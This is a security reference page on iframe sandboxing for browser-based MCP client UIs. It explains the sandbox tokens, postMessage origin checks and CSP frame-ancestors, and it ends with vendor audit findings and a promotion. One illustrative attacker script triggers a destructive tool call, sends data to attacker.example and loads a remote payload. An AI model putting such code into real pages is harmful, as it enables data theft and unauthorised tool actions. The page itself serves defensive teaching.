Security reference · Browser · iframe
MCP server iframe sandbox security
Browser-based MCP client UIs that render tool output in iframes — preview windows, document viewers, generated report frames — must configure the sandbox attribute correctly. The common misconception is that sandbox="allow-scripts" safely isolates script execution. It doesn't: scripts execute, they just can't access the parent document. An iframe with allow-scripts can still make arbitrary network requests, including relaying tool calls to the MCP server using credentials from the iframe's own origin. This reference covers the sandbox attribute matrix, the allow-scripts pitfall, postMessage origin validation for iframe-to-parent communication, and CSP frame-ancestors as defense-in-depth.
The sandbox attribute: what each token permits
| Token | What it enables | MCP risk if included |
|---|---|---|
allow-scripts | JavaScript execution in the iframe | Scripts can send tool call payloads via fetch/XHR to any origin |
allow-same-origin | Iframe treated as same-origin as parent | iframe scripts can access parent's localStorage, cookies, DOM |
allow-forms | Form submissions | Form POST to MCP endpoints; CSRF-style tool invocation |
allow-popups | Open new windows/tabs | New window can access window.opener; phishing via popup |
allow-top-navigation | Redirect parent page's URL | Full page redirect to phishing site |
allow-storage-access-by-user-activation | Storage Access API | Access to parent's cookies after user gesture |
| (none — empty sandbox) | No scripts, no same-origin, no forms | Safest — iframe is an inert HTML display only |
The allow-scripts + allow-same-origin combination is equivalent to no sandbox. When both are present, scripts execute and have same-origin access to the parent's DOM, cookies, and localStorage — including any stored MCP session tokens. A malicious script in such an iframe can read session credentials and make tool calls as the authenticated user. Never combine these two tokens for untrusted content.
The allow-scripts pitfall: scripts without same-origin access aren't fully isolated
The common assumption is: "I'll use sandbox="allow-scripts" to let the content run JavaScript in an isolated sandbox." This is wrong in a subtle and dangerous way:
<!-- MISLEADINGLY DANGEROUS: scripts run but "can't access parent" -->
<iframe
sandbox="allow-scripts"
srcdoc="${toolOutputHtml}"
></iframe>
<!-- Inside the iframe, an attacker's script can still: -->
<script>
// 1. Make arbitrary network requests (CORS permitting)
fetch('/mcp/call', {
method: 'POST',
credentials: 'include', // Sends cookies from the iframe's origin context
body: JSON.stringify({ tool: 'deleteAllFiles', args: {} })
});
// 2. Exfiltrate data received via postMessage from parent
window.addEventListener('message', e => {
fetch('https://attacker.example/steal', { method: 'POST', body: JSON.stringify(e.data) });
});
// 3. Load additional scripts from external sources
const s = document.createElement('script');
s.src = 'https://attacker.example/payload.js';
document.head.appendChild(s);
</script>
The isolation provided by allow-scripts without allow-same-origin is that the iframe script cannot access the parent document's DOM or storage. It can still make network requests to the parent's origin (using cookies from the session), send postMessage to the parent (if the parent listens without origin validation), and load additional scripts from external sources.
Safe patterns for rendering tool output in iframes
Pattern 1: Fully sandboxed display — no scripts
<!-- For HTML content that only needs to be viewed, not interactive -->
<iframe
sandbox=""
srcdoc="${escapedHtml}"
style="border:none;width:100%;height:400px"
title="Tool output preview"
></iframe>
<!-- Empty sandbox: no scripts, no same-origin, no forms, no popups -->
<!-- CSS and images still render; links are non-functional -->
Pattern 2: Interactive content in an isolated origin
<!-- Serve tool output from a sandboxed subdomain or null origin -->
<!-- This gives the iframe a different origin, so allow-same-origin is safe -->
<iframe
sandbox="allow-scripts allow-same-origin"
src="https://sandbox.your-mcp-client.example/preview?token=${previewToken}"
csp="default-src 'self'; script-src 'self'; connect-src 'none'"
></iframe>
<!-- sandbox.your-mcp-client.example is a separate origin -->
<!-- allow-same-origin gives scripts access to sandbox. domain storage -->
<!-- but NOT to the parent's origin (your-mcp-client.example) -->
<!-- The iframe's fetch() calls to /mcp/* go to sandbox. origin, -->
<!-- not the parent origin, and fail (no MCP server there) -->
postMessage origin validation: blocking iframe-to-MCP relay attacks
A common pattern for iframe communication is postMessage. If the parent listens without validating the sender's origin, a malicious iframe can send tool invocation requests that the parent forwards to the MCP server:
// VULNERABLE parent listener — accepts messages from any iframe
window.addEventListener('message', event => {
if (event.data.type === 'tool-call') {
// No origin check! Any iframe (including untrusted tool output iframes) can trigger this
mcpClient.callTool(event.data.tool, event.data.args);
}
});
// SECURE parent listener — validate origin before acting on message
const TRUSTED_IFRAME_ORIGINS = new Set([
'https://sandbox.your-mcp-client.example',
// Add only origins you explicitly trust for postMessage
]);
window.addEventListener('message', event => {
// Always validate origin before processing
if (!TRUSTED_IFRAME_ORIGINS.has(event.origin)) {
console.warn('Rejected postMessage from untrusted origin:', event.origin);
return;
}
// Validate message structure before acting
if (typeof event.data !== 'object' || event.data === null) return;
if (event.data.type !== 'tool-call') return;
if (typeof event.data.tool !== 'string') return;
// Only allow calls to tools explicitly enabled for iframe-initiated calls
const IFRAME_ALLOWED_TOOLS = new Set(['getPreviewData', 'downloadResult']);
if (!IFRAME_ALLOWED_TOOLS.has(event.data.tool)) {
console.warn('iframe attempted to call disallowed tool:', event.data.tool);
return;
}
mcpClient.callTool(event.data.tool, event.data.args);
});
event.origin is the origin of the sender, not of the iframe's src URL. If an attacker can inject a script into an iframe at a trusted origin (via XSS), that script's postMessage will have the trusted origin. Origin validation is necessary but not sufficient — also validate the message schema and limit which tools can be called via postMessage.
CSP frame-ancestors: prevent clickjacking and iframe embedding of the MCP client
# Prevent the MCP client UI from being embedded in external iframes # Caddy configuration header Content-Security-Policy "frame-ancestors 'none'" # OR allow embedding only in your own origin header Content-Security-Policy "frame-ancestors 'self'" # X-Frame-Options is the legacy equivalent (older browsers) # Use BOTH for maximum browser compatibility header X-Frame-Options "DENY" header Content-Security-Policy "frame-ancestors 'none'" # frame-ancestors 'none' prevents: # - Clickjacking (transparent MCP client framed by attacker page) # - UI redressing attacks where the attacker's page overlays the MCP UI # - Fake tool confirmation dialogs in embedded iframes
SkillAudit findings for iframe sandbox security
sandbox="allow-scripts allow-same-origin" — scripts have full access to parent origin's cookies, localStorage, and MCP session tokens.
postMessage listener has no origin validation — any iframe (including tool output frames) can trigger MCP tool calls by sending the correct message structure.
allow-scripts — scripts can make credentialed fetch requests to the MCP server origin using the user's session cookies.
frame-ancestors CSP directive — MCP client UI can be embedded in attacker-controlled iframes for clickjacking and UI redressing attacks.
allow-popups present for untrusted content — popups can access window.opener reference to the parent MCP client page.
Run a full security audit of your MCP server at skillaudit.dev — iframe sandbox, postMessage, CSP, and 40+ additional checks.